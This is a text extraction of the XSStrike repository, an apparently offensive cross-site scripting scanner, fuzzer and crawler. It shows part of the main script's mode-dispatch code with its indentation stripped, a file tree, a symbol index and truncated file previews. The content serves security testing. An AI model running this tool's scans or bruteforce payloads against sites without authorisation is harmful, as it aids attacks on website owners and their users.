from modes.bruteforcer import bruteforcer
from modes.crawl import crawl
from modes.scan import scan
from modes.singleFuzz import singleFuzz
if type(args.add_headers) == bool:
headers = extractHeaders(prompt())
elif type(args.add_headers) == str:
headers = extractHeaders(args.add_headers)
else:
from core.config import headers
core.config.globalVariables['headers'] = headers
core.config.globalVariables['checkedScripts'] = set()
core.config.globalVariables['checkedForms'] = {}
core.config.globalVariables['definitions'] = json.loads('\n'.join(reader(sys.path[0] + '/db/definitions.json')))
if path:
paramData = converter(target, target)
elif jsonData:
headers['Content-type'] = 'application/json'
paramData = converter(paramData)
if args_file:
if args_file == 'default':
payloadList = core.config.payloads
else:
payloadList = list(filter(None, reader(args_file)))
seedList = []
if args_seeds:
seedList = list(filter(None, reader(args_seeds)))
encoding = base64 if encode and encode == 'base64' else False
if not proxy:
core.config.proxies = {}
if update: # if the user has supplied --update argument
updater()
quit() # quitting because files have been changed
if not target and not args_seeds: # if the user hasn't supplied a url
logger.no_format('\n' + parser.format_help().lower())
quit()
if fuzz:
singleFuzz(target, paramData, encoding, headers, delay, timeout)
elif not recursive and not args_seeds:
if args_file:
bruteforcer(target, paramData, payloadList, encoding, headers, delay, timeout)
else:
scan(target, paramData, encoding, headers, delay, timeout, skipDOM, skip)
else:
if target:
seedList.append(target)
for target in seedList:
logger.run('Crawling the target')
scheme = urlparse(target).scheme
logger.debug('Target scheme: {}'.format(scheme))
host = urlparse(target).netloc
main_url = scheme + '://' + host
crawlingResult = photon(target, headers, level,
threadCount, delay, timeout, skipDOM)
forms = crawlingResult[0]
domURLs = list(crawlingResult[1])
difference = abs(len(domURLs) - len(forms))
if len(domURLs) > len(forms):
for i in range(difference):
forms.append(0)
elif len(forms) > len(domURLs):
for i in range(difference):
domURLs.append(0)
threadpool = concurrent.futures.ThreadPoolExecutor(max_workers=threadCount)
futures = (threadpool.submit(crawl, scheme, host, main_url, form,
blindXSS, blindPayload, headers, delay, timeout, encoding) for form, domURL in zip(forms, domURLs))
for i, _ in enumerate(concurrent.futures.as_completed(futures)):
if i + 1 == len(forms) or (i + 1) % threadCount == 0:
logger.info('Progress: %i/%i\r' % (i + 1, len(forms)))
logger.no_format('')
gitextract_v_es0zmg/ ├── .github/ │ ├── ISSUE_TEMPLATE/ │ │ ├── bug_report.md │ │ └── feature_request.md │ └── PULL_REQUEST_TEMPLATE.md ├── .gitignore ├── .travis.yml ├── CHANGELOG.md ├── LICENSE ├── README.md ├── core/ │ ├── __init__.py │ ├── checker.py │ ├── colors.py │ ├── config.py │ ├── dom.py │ ├── encoders.py │ ├── filterChecker.py │ ├── fuzzer.py │ ├── generator.py │ ├── htmlParser.py │ ├── jsContexter.py │ ├── log.py │ ├── photon.py │ ├── prompt.py │ ├── requester.py │ ├── updater.py │ ├── utils.py │ ├── wafDetector.py │ └── zetanize.py ├── db/ │ ├── definitions.json │ └── wafSignatures.json ├── modes/ │ ├── __init__.py │ ├── bruteforcer.py │ ├── crawl.py │ ├── scan.py │ └── singleFuzz.py ├── plugins/ │ ├── __init__.py │ └── retireJs.py ├── requirements.txt ├── test.html └── xsstrike.py
SYMBOL INDEX (71 symbols across 21 files)
FILE: core/checker.py
function checker (line 11) | def checker(url, params, headers, GET, delay, payload, positions, timeou...
FILE: core/dom.py
function dom (line 8) | def dom(response):
FILE: core/encoders.py
function base64 (line 5) | def base64(string):
FILE: core/filterChecker.py
function filterChecker (line 4) | def filterChecker(url, params, headers, GET, delay, occurences, timeout,...
FILE: core/fuzzer.py
function fuzzer (line 15) | def fuzzer(url, params, headers, GET, delay, timeout, WAF, encoding):
FILE: core/generator.py
function generator (line 6) | def generator(occurences, response):
FILE: core/htmlParser.py
function htmlParser (line 7) | def htmlParser(response, encoding):
FILE: core/jsContexter.py
function jsContexter (line 7) | def jsContexter(script):
FILE: core/log.py
function _vuln (line 29) | def _vuln(self, msg, *args, **kwargs):
function _run (line 34) | def _run(self, msg, *args, **kwargs):
function _good (line 39) | def _good(self, msg, *args, **kwargs):
class CustomFormatter (line 85) | class CustomFormatter(logging.Formatter):
method format (line 86) | def format(self, record):
class CustomStreamHandler (line 93) | class CustomStreamHandler(logging.StreamHandler):
method emit (line 96) | def emit(self, record):
function _switch_to_no_format_loggers (line 110) | def _switch_to_no_format_loggers(self):
function _switch_to_default_loggers (line 118) | def _switch_to_default_loggers(self):
function _get_level_and_log (line 126) | def _get_level_and_log(self, msg, level):
function log_red_line (line 134) | def log_red_line(self, amount=60, level='INFO'):
function log_no_format (line 140) | def log_no_format(self, msg='', level='INFO'):
function log_debug_json (line 146) | def log_debug_json(self, msg='', data={}):
function setup_logger (line 158) | def setup_logger(name='xsstrike'):
FILE: core/photon.py
function photon (line 15) | def photon(seedUrl, headers, level, threadCount, delay, timeout, skipDOM):
FILE: core/prompt.py
function prompt (line 11) | def prompt(default=None):
FILE: core/requester.py
function requester (line 16) | def requester(url, data, headers, GET, delay, timeout):
FILE: core/updater.py
function updater (line 12) | def updater():
FILE: core/utils.py
function converter (line 10) | def converter(data, url=False):
function counter (line 30) | def counter(string):
function closest (line 35) | def closest(number, numbers):
function fillHoles (line 44) | def fillHoles(original, new):
function stripper (line 56) | def stripper(string, substring, direction='right'):
function extractHeaders (line 71) | def extractHeaders(headers):
function replaceValue (line 87) | def replaceValue(mapping, old, new, strategy=None):
function getUrl (line 105) | def getUrl(url, GET):
function extractScripts (line 112) | def extractScripts(response):
function randomUpper (line 121) | def randomUpper(string):
function flattenParams (line 125) | def flattenParams(currentParam, params, payload):
function genGen (line 134) | def genGen(fillings, eFillings, lFillings, eventHandlers, tags, function...
function getParams (line 162) | def getParams(url, data, GET):
function writer (line 192) | def writer(obj, path):
function reader (line 203) | def reader(path):
function js_extractor (line 209) | def js_extractor(response):
function handle_anchor (line 219) | def handle_anchor(parent_url, url):
function deJSON (line 236) | def deJSON(data):
function getVar (line 240) | def getVar(name):
function updateVar (line 243) | def updateVar(name, data, mode=None):
function isBadContext (line 252) | def isBadContext(position, non_executable_contexts):
function equalize (line 260) | def equalize(array, number):
function escaped (line 264) | def escaped(position, string):
FILE: core/wafDetector.py
function wafDetector (line 11) | def wafDetector(url, params, headers, GET, delay, timeout):
FILE: core/zetanize.py
function zetanize (line 4) | def zetanize(response):
FILE: modes/bruteforcer.py
function bruteforcer (line 12) | def bruteforcer(target, paramData, payloadList, encoding, headers, delay...
FILE: modes/crawl.py
function crawl (line 16) | def crawl(scheme, host, main_url, form, blindXSS, blindPayload, headers,...
FILE: modes/scan.py
function scan (line 21) | def scan(target, paramData, encoding, headers, delay, timeout, skipDOM, ...
FILE: modes/singleFuzz.py
function singleFuzz (line 15) | def singleFuzz(target, paramData, encoding, headers, delay, timeout):
FILE: plugins/retireJs.py
function is_defined (line 14) | def is_defined(o):
function scan (line 18) | def scan(data, extractor, definitions, matcher=None):
function _simple_match (line 36) | def _simple_match(regex, data):
function _replacement_match (line 42) | def _replacement_match(regex, data):
function _scanhash (line 59) | def _scanhash(hash, definitions):
function check (line 73) | def check(results, definitions):
function unique (line 107) | def unique(ar):
function _is_at_or_above (line 111) | def _is_at_or_above(version1, version2):
function _to_comparable (line 131) | def _to_comparable(n):
function _replace_version (line 140) | def _replace_version(jsRepoJsonAsText):
function is_vulnerable (line 144) | def is_vulnerable(results):
function scan_uri (line 153) | def scan_uri(uri, definitions):
function scan_filename (line 158) | def scan_filename(fileName, definitions):
function scan_file_content (line 163) | def scan_file_content(content, definitions):
function main_scanner (line 177) | def main_scanner(uri, response):
function retireJs (line 200) | def retireJs(url, response):
Condensed preview — 39 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (210K chars).
[
{
"path": ".github/ISSUE_TEMPLATE/bug_report.md",
"chars": 1141,
"preview": "---\nname: Bug report\nabout: Create a report to help us improve\nlabels: \n\n---\n\n**Describe the bug**\nA clear and concise d"
},
{
"path": ".github/ISSUE_TEMPLATE/feature_request.md",
"chars": 432,
"preview": "---\nname: Feature request\nabout: Suggest an idea for this project\nlabels: \n\n---\n\n**Is your feature request related to a "
},
{
"path": ".github/PULL_REQUEST_TEMPLATE.md",
"chars": 652,
"preview": "#### What does it implement/fix? Explain your changes.\n\n#### Where has this been tested?\nPython Version:\\\nOperating Syst"
},
{
"path": ".gitignore",
"chars": 1221,
"preview": "# Byte-compiled / optimized / DLL files\n__pycache__/\n*.py[cod]\n*$py.class\n\n# C extensions\n*.so\n\n# Distribution / packagi"
},
{
"path": ".travis.yml",
"chars": 933,
"preview": "language: python\ncache: pip\nenv:\n - MOZ_HEADLESS=1\naddons:\n firefox: latest\nos:\n - linux\npython:\n - 3.6\nbefore_insta"
},
{
"path": "CHANGELOG.md",
"chars": 2495,
"preview": "### 3.1.5\n- Fix color bug that resulted in DOM XSS vulnerabilities not\n being reported on certain systems (Windows, mac"
},
{
"path": "LICENSE",
"chars": 35149,
"preview": " GNU GENERAL PUBLIC LICENSE\n Version 3, 29 June 2007\n\n Copyright (C) 2007 Free "
},
{
"path": "README.md",
"chars": 5604,
"preview": "<h1 align=\"center\">\n <br>\n <a href=\"https://github.com/s0md3v/XSStrike\"><img src=\"https://image.ibb.co/cpuYoA/xsstrike"
},
{
"path": "core/__init__.py",
"chars": 1,
"preview": "\n"
},
{
"path": "core/checker.py",
"chars": 1759,
"preview": "import copy\nfrom fuzzywuzzy import fuzz\nimport re\nfrom urllib.parse import unquote\n\nfrom core.config import xsschecker\nf"
},
{
"path": "core/colors.py",
"chars": 877,
"preview": "import sys\nimport os\nimport platform\n\ncolors = True # Output should be colored\nmachine = sys.platform # Detecting the "
},
{
"path": "core/config.py",
"chars": 4374,
"preview": "changes = '''Negligible DOM XSS false positives;x10 faster crawling'''\nglobalVariables = {} # it holds variables during"
},
{
"path": "core/dom.py",
"chars": 3139,
"preview": "import re\n\nfrom core.colors import end, red, yellow\n\nif len(end) < 1:\n end = red = yellow = '*'\n\ndef dom(response):\n "
},
{
"path": "core/encoders.py",
"chars": 276,
"preview": "import base64 as b64\nimport re\n\n\ndef base64(string):\n if re.match(r'^[A-Za-z0-9+\\/=]+$', string) and (len(string) % 4"
},
{
"path": "core/filterChecker.py",
"chars": 1613,
"preview": "from core.checker import checker\n\n\ndef filterChecker(url, params, headers, GET, delay, occurences, timeout, encoding):\n "
},
{
"path": "core/fuzzer.py",
"chars": 2166,
"preview": "import copy\nfrom random import randint\nfrom time import sleep\nfrom urllib.parse import unquote\n\nfrom core.colors import "
},
{
"path": "core/generator.py",
"chars": 8653,
"preview": "from core.config import xsschecker, badTags, fillings, eFillings, lFillings, jFillings, eventHandlers, tags, functions\nf"
},
{
"path": "core/htmlParser.py",
"chars": 4637,
"preview": "import re\n\nfrom core.config import badTags, xsschecker\nfrom core.utils import isBadContext, equalize, escaped, extractSc"
},
{
"path": "core/jsContexter.py",
"chars": 1304,
"preview": "import re\n\nfrom core.config import xsschecker\nfrom core.utils import stripper\n\n\ndef jsContexter(script):\n broken = sc"
},
{
"path": "core/log.py",
"chars": 5957,
"preview": "import logging\nfrom .colors import *\n\n__all__ = ['setup_logger', 'console_log_level', 'file_log_level', 'log_file']\n\ncon"
},
{
"path": "core/photon.py",
"chars": 3651,
"preview": "import re\nimport concurrent.futures\nfrom urllib.parse import urlparse\n\nfrom core.dom import dom\nfrom core.log import set"
},
{
"path": "core/prompt.py",
"chars": 1220,
"preview": "import os\nimport tempfile\n\nfrom core.config import defaultEditor\nfrom core.colors import white, yellow\nfrom core.log imp"
},
{
"path": "core/requester.py",
"chars": 2213,
"preview": "import random\nimport requests\nimport time\nfrom urllib3.exceptions import ProtocolError\nimport warnings\n\nimport core.conf"
},
{
"path": "core/updater.py",
"chars": 1562,
"preview": "import os\nimport re\nfrom requests import get\n\nfrom core.config import changes\nfrom core.colors import que, info, end, gr"
},
{
"path": "core/utils.py",
"chars": 7898,
"preview": "import json\nimport random\nimport re\nfrom urllib.parse import urlparse\n\nimport core.config\nfrom core.config import xssche"
},
{
"path": "core/wafDetector.py",
"chars": 1841,
"preview": "import json\nimport re\nimport sys\n\nfrom core.requester import requester\nfrom core.log import setup_logger\n\nlogger = setup"
},
{
"path": "core/zetanize.py",
"chars": 1693,
"preview": "import re\n\n\ndef zetanize(response):\n def e(string):\n return string.encode('utf-8')\n\n def d(string):\n "
},
{
"path": "db/definitions.json",
"chars": 51358,
"preview": "{\n\t\"retire-example\": {\n\t\t\"vulnerabilities\" : [\n\t\t\t{\n\t\t\t\t\"below\" : \"0.0.2\",\n\t\t\t\t\"severity\" : \"low\",\n\t\t\t\t\"identifiers\" : {"
},
{
"path": "db/wafSignatures.json",
"chars": 9489,
"preview": "{\n\t\"360 Web Application Firewall (360)\" : {\n\t\t\"code\" : \"493\",\n\t\t\"page\" : \"/wzws-waf-cgi/\",\n\t\t\"headers\" : \"X-Powered-By-3"
},
{
"path": "modes/__init__.py",
"chars": 1,
"preview": "\n"
},
{
"path": "modes/bruteforcer.py",
"chars": 1529,
"preview": "import copy\nfrom urllib.parse import urlparse, unquote\n\nfrom core.colors import good, green, end\nfrom core.requester imp"
},
{
"path": "modes/crawl.py",
"chars": 3151,
"preview": "import copy\nimport re\n\nimport core.config\nfrom core.colors import green, end\nfrom core.config import xsschecker\nfrom cor"
},
{
"path": "modes/scan.py",
"chars": 5018,
"preview": "import copy\nimport re\nfrom urllib.parse import urlparse, quote, unquote\n\nfrom core.checker import checker\nfrom core.colo"
},
{
"path": "modes/singleFuzz.py",
"chars": 1783,
"preview": "import copy\nfrom urllib.parse import urlparse\n\nfrom core.colors import green, end\nfrom core.config import xsschecker\nfro"
},
{
"path": "plugins/__init__.py",
"chars": 1,
"preview": "\n"
},
{
"path": "plugins/retireJs.py",
"chars": 6902,
"preview": "import re\nimport json\nimport hashlib\nfrom urllib.parse import urlparse\n\nfrom core.colors import green, end\nfrom core.req"
},
{
"path": "requirements.txt",
"chars": 24,
"preview": "tld\nfuzzywuzzy\nrequests\n"
},
{
"path": "test.html",
"chars": 1017,
"preview": "<!DOCTYPE html>\n<html>\n <body>\n <div>\n <pre>document.writeln(new URL(window.location.href).searchPa"
},
{
"path": "xsstrike.py",
"chars": 7847,
"preview": "#!/usr/bin/env python3\n\nfrom __future__ import print_function\n\nfrom core.colors import end, red, white, bad, info\n\n# Jus"
}
]
About this extraction
This page contains the full source code of the s0md3v/XSStrike GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 39 files (186.1 KB), approximately 54.9k tokens, and a symbol index with 71 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.